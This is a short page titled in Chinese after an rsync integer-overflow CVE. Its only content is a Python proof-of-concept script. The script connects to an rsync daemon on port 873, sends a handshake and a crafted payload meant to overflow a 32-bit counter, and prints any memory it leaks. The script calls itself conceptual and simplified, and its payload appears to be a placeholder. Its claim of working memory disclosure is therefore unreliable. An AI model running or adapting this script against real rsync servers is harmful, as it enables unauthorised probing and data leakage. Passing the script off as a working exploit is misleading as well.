CVE-2026-43618 Rsync 整数溢出漏洞

# Proof of Concept for CVE-2026-43618 (Conceptual) # This script demonstrates how a malicious sender could trigger the integer overflow. # Note: This is a simplified representation. import socket import struct def trigger_overflow(target_ip, target_port): try: # Establish connection to the vulnerable Rsync service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send initial handshake (simplified) s.send(b'@RSYNCD: 31.0\n') # Craft malicious compressed token stream # This payload is designed to cause the 32-bit counter to overflow # The specific byte sequence depends on the internal decoder logic malicious_payload = b'\x00' * 10 + struct.pack('<I', 0xFFFFFFFF) # Send the payload s.send(malicious_payload) # Receive response which may contain leaked memory data leaked_data = s.recv(4096) print(f"[+] Potential leaked data: {leaked_data}") s.close() except Exception as e: print(f"[-] Error: {e}") # Usage # trigger_overflow('192.168.1.10', 873)